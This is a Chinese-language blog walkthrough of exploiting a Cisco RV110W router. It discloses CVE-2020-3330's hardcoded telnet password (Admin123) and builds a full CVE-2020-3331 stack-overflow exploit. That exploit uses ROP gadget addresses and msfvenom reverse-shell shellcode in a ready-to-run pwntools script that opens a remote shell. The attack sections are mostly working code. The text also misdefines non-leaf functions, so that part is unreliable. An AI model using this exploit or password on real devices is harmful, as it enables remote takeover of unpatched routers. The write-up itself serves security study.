大家好 这里是Retr0mous~ 最近不知道从哪开始入门了iot方面的兴趣 最近百忙之中准备抽出时间来做一个路由器Pwn的漏洞 如果想要从mips架构开始 可以去看知世师傅的视频 连接在这:https://www.bilibili.com/video/BV1PE411E7Sz

Mips基础

关于mips架构 这里有几个需要注意的点:

  • 寄存器和指针有 RA GP SP 分别是返回地址 全局变量 栈顶指针
  • Mips没有 栈底指针 需要通过SP指针
  • Mips架构在调用函数会把返回地址存入t9寄存器中 后赋值给RA
  • 当本函数是叶子函数的时候,ra寄存器是不会入栈的;非叶子函数的时候,ra寄存器入栈,有可以通过栈溢出来劫持控制流的机会

叶子与非叶子函数

这里 我们会提到一个叶子函数非叶子函数的概念 我们举个例子

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
int add(int arg1,int arg2)
{
int sum = arg1 + arg2;
return sum;

}
int main()
{
int sum = add(1,2);
printf("This is %d",sum);
}

叶子与非叶子函数的定义
叶子函数:在函数中没有调用其他函数的函数
非叶子函数:没有调用其他函数的函数

知道了这些 我们可以开始了

0x01 CVE-2020-3330

为了更加完美的测试进程 这里不建议使用虚拟机之类的 我们准备购买实体的机器 而但是 RV110w也已经停产了 我们准备在咸鱼上购买 价格在130~210不等
由于第一次在给rv110w断电了 坏了 所以又买了第二台

到机器之后 LAN连上其他的路由器 登录到192.168.1.1 就可以看到后台画面了 输入默认密码 cisco cisco 登录进到后台 刷上漏洞版本的固件 这一次的复原就圆满的开始了

(固件链接在后面)

固件解包

我们使用binbwalk -Me命令进行解包 需要注意的是 如果是第一次安装需要安装

1
2
3
sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev
git clone https://github.com/devttys0/sasquatch
(cd sasquatch && ./build.sh)

Nmap 端口探测

现在 我们使用nmap指令对网关的端口进行探测 看看有没有什么惊喜(you)

1
2
3
4
5
6
7
8
9
10
11
12
PS C:\Users\patri> nmap 192.168.1.1
Starting Nmap 7.90 ( https://nmap.org ) at 2021-11-12 22:34 ?D1ú±ê×?ê±??
Nmap scan report for 192.168.1.1
Host is up (0.0048s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
23/tcp open telnet
80/tcp open http
81/tcp open hosts2-ns
443/tcp open https
444/tcp open snpp
MAC Address: B8:62:1F:53:45:B3 (Cisco Systems)

哇 可以看到居然开放了telnet 也就是说 我们不需要端口调试来上传gdb-server了

在这里 我们对于漏洞查询的过程不在多说 通过这篇文章
https://blogs.360.cn/post/yi-ge-zi-jie-cha-cuo-dao-zhi-Cisco-fang-huo-qiang-lu-you-qi-yuan-cheng-dai-ma-zhi-xing.html
我们是可以知道 rv110w是存在弱口令漏洞的

在这篇文章中 我们可以看到一个类似与md5的一张图 通过全局字符串搜索 我们可以知道大多数文件都处于 sbin目录
https://blogs.360.cn/post/yi-ge-zi-jie-cha-cuo-dao-zhi-Cisco-fang-huo-qiang-lu-you-qi-yuan-cheng-dai-ma-zhi-xing.html
这时候 我们再进入到sbin目录下 查看软连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(retr0mous㉿kali)-[~/Desktop/iot/RV110W/_RV110W_FW_1.2.2.5.bin.extracted]
└─$ ls -al squashfs-root/sbin 1 ⨯
总用量 924
drwxr-xr-x 2 retr0mous retr0mous 4096 7月 24 2019 .
drwxr-xr-x 14 retr0mous retr0mous 4096 7月 24 2019 ..
-rwxr-xr-x 1 retr0mous retr0mous 12920 7月 24 2019 6rd_nud
lrwxrwxrwx 1 retr0mous retr0mous 2 11月 12 22:42 client6 -> rc
lrwxrwxrwx 1 retr0mous retr0mous 2 11月 12 22:42 cpu_usage -> rc
lrwxrwxrwx 1 retr0mous retr0mous 2 11月 12 22:42 cron_aclrule -> rc
lrwxrwxrwx 1 retr0mous retr0mous 2 11月 12 22:42 cron_gn -> rc
lrwxrwxrwx 1 retr0mous retr0mous 2 11月 12 22:42 cron_iaprule -> rc
lrwxrwxrwx 1 retr0mous retr0mous 2 11月 12 22:42 ddns_checkip -> rc
lrwxrwxrwx 1 retr0mous retr0mous 2 11月 12 22:42 ddns_error -> rc
lrwxrwxrwx 1 retr0mous retr0mous 2 11月 12 22:42 ddns_success -> rc
......

发现很多文件都链接这rc这个文件

那么 咱们直接strings看看rc这个文件 有没有存放着什么什么

很好 直接找到了弱密码的字符串 再通过md5解密之后 显示密码为:Admin123
有了密码 我们直接链接telnet

芜湖 现在我们直接连接上了内部 但是这不意味着我们getshell了 现在 我们向下一个漏洞出发

0x02 CVE-2020-3331

这里我们主要对于web漏洞进行挖掘 在进行CVE漏洞查找的时候 我们发现了一个有关前台RCE(远程代码执行的漏洞)
我们一起来看看哈

漏洞定位

由于并没有对于漏洞点的一个精确定位 我们现在要一点一点的摸索;首先 在上面的Nmap 扫描中 我们知道网站是开放了443端口的 因此 上内部服务器之后netstat确定文件是最好的方式了 但是 因为某一些原因 其中的netstst命令可能因为版本过低没有办法使用一些参数 所以 我决定开个http服务器 把高等级的busybox传上去
https://busybox.net/downloads/binaries/1.21.1/busybox-mipsel

可以看到 443端口绑定的正是httpd文件 现在 我们已经可以确定漏洞文件了 现在只需要查找漏洞的函数了

这时候 我们就可以使用diff查找 也就是查找两个文件不同的地方 我们使用bindiff工具

bindiff 这个工具是可以集成在IDA或ghidra中的插件,不过单独有自己的界面,介绍:ida又一神器插件复活了bindiff
下载:https://www.zynamics.com/software.html
文档:https://www.zynamics.com/bindiff/manual/index.html

现在 我们解包新版本的 和旧版本进行比对:

这里 可以说越红就代表差异越大 但是 你越往下看就会发现唯一这个guest_logout_cgi和web有点关系 右键这个函数 View flow graph

嗯 随便一看就可以看到这里有个高风险函数sscanf 地址在0x431ba8

其中sscanf的条件”%;;%==%\n“里,% 表示选择,% 表示过滤,中括号括起来的是类似正则
%;:分号前的所有字符都要
;%*=:分号后,等号前的字符都不要
=%\n:等号后,换行符前的所有字符都要
也就是说,如果输入字符串”aaa;bbb=ccc”,会将aaa和ccc写入对应变量,并没有限制长度,会导致栈溢出

找到了这段代码 我们现在要对伪代码进行分析 看看需要达到那些分支才能达到sscanf函数

1
2
3
4
5
6
7
8
9
{
fprintf(v12, "\n mac=[%s], ip=[%s], submit_button=[%s]\n", v5, v10, v11);
fclose(v13);
}
if ( VERIFY_MAC_17(v5) && VERIFY_IPv4(v10) )
{
if ( !strstr(v11, "status_guestnet.asp") )
goto LABEL_31;
sscanf(v11, "%[^;];%*[^=]=%[^\n]", v29, v28);

通过查阅函数 可以知道我们需要让…

  • cmac:mac 格式
  • cip: ip 格式
  • submit_button: 包含status_guestnet.asp

现在知道了页面是/guest_logout.cgi了 需要达成这些条件 那么 我们就可以开始试图溢出了 exp如下 :

1
2
3
4
5
6
import requests

url = "https://192.168.1.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+'a'*100,"cip":"192.168.1.100"}
#requests.get(url, data=payload, verify=False, timeout=1)
#requests.post(url, data=payload, verify=False, timeout=1)

其中 我们还需要确定是用get 还是 post进行攻击 具体还是自己试一试吧 最后会发现只有post攻击下 web后台会转圈圈 所以可以确定是 post攻击方法

确定溢出点

gdb-server 我们内部使用 https://gitee.com/h4lo1/HatLab_Tools_Library/tree/master/%E9%9D%99%E6%80%81%E7%BC%96%E8%AF%91%E8%B0%83%E8%AF%95%E7%A8%
使用wget 下载到 /tmp目录 通过上一次的netstat扫描 确定进程号 并且绑定进程号 格式如下

1
./gdb.server :<绑定端口> --attach <绑定进程>

在exp上 我利用cyclic脚本来确定溢出点
exp如下:

1
2
3
4
5
6
7
8
9
10
import requests
import requests
payload = 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
#(cyclic 200)
url = "https://10.10.10.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+payload,"cip":"192.168.1.100"}
requests.packages.urllib3.disable_warnings()
requests.post(url, data=payload, verify=False, timeout=1)



打开gdb multiarch 这样设置
1
2
3
4
5
gdb-multiarch -q httpd	# quiet
set arch mips
set endian little
target remote 10.10.10.1:1234
#(记得按c)


发送exp后 成功 确定了溢出点为 aaaw 通过 cyclic -l 查询 发现为85
现在 我们就可以准备构造语句了

ROP Getshell

mips架构硬件并不支持nx,所以利用方式通常为劫持程序流执行shellcode
由于sscanf栈溢出,所以不能有空字节,而程序本身的gadget都是有空字节的。。。
这时候自然想到用libc的gadget,但是,比较诡异的一点是,它的libc基址每次都不变

这里 我们可以通过cat /proc/<pid>/maps查看
所以 我们就要通过ret2libc的方式getshell 我们选择/lib/libc.so.0

利用mipsgadget 发现两条有用的gadgets

1
2
|  0x000257A0  |  addiu $a0,$sp,0x58+var_40  |  jalr  $s0  |
| 0x0003D050 | move $t9,$a0 | jalr $a0 |

这样会造成什么效果呢?程序返回时,程序执行流被控制为0x257a0,去执行第一条gadget,a0 = sp + 0x18,jmp到s0寄存器,s0寄存器存的是第二条gadget,继而去执行第二条gadget,将a0放到t9,然后jmp到a0,a0存的是shellcode的地址,于是程序就会执行shellcode

shellode

我们shellcode用 msfvenom 不会生产空字节

思路


那么小伙伴可能要问了 那s0寄存器地址怎么算呢?
其实 只要用我们第一次算溢出的图用 cyclic算就行了 也就是cyclic -l aaan
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
from pwn import *
p = listen(8788)
context.arch = 'mips'
context.endian = 'little'
context.os = 'linux'

libc = 0x2af98000
jmp_a0 = libc + 0x0003D050 # move $t9,$a0 ; jalr $a0
jmp_s0 = libc + 0x000257A0 # addiu $a0,$sp,0x38+var_20 ; jalr $s0 (var_20) = -20

buf = b""
buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
buf += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
buf += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
buf += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\x54\x0e\x3c"
buf += b"\x22\x54\xce\x35\xe4\xff\xae\xaf\x01\x65\x0e\x3c\xc0"
buf += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
buf += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
buf += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
buf += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
buf += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
buf += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
buf += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
buf += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
buf += b"\x01\x01"

payload1 = "status_guestnet.asp"
payload1 += 'a' * 49 + p32(jmp_a0) # control $s0
payload1 += (85 - 49 - 4) * 'a' + p32(jmp_s0) # control gadgets2 , retuen to jmp_s0
payload1 += 'a' * 18 + buf # control $sp + 18
url = "https://192.168.1.1/guest_logout.cgi"
payload2 = {
"cmac": "12:af:aa:bb:cc:dd",
"submit_button": payload1,
"cip": "192.168.1.100"
}

requests.packages.urllib3.disable_warnings() #Hide warnings
requests.post(url, data=payload2, verify=False, timeout=1)
p.wait_for_connection()
log.success("getshell")
p.interactive()

Getshell!!!

固件链接

Reference

https://la13x.github.io/2021/08/31/Real-World-Cisco-RV110W
https://xuanxuanblingbling.github.io/iot/2020/10/26/rv110w/
https://blogs.360.cn/post/yi-ge-zi-jie-cha-cuo-dao-zhi-Cisco-fang-huo-qiang-lu-you-qi-yuan-cheng-dai-ma-zhi-xing.html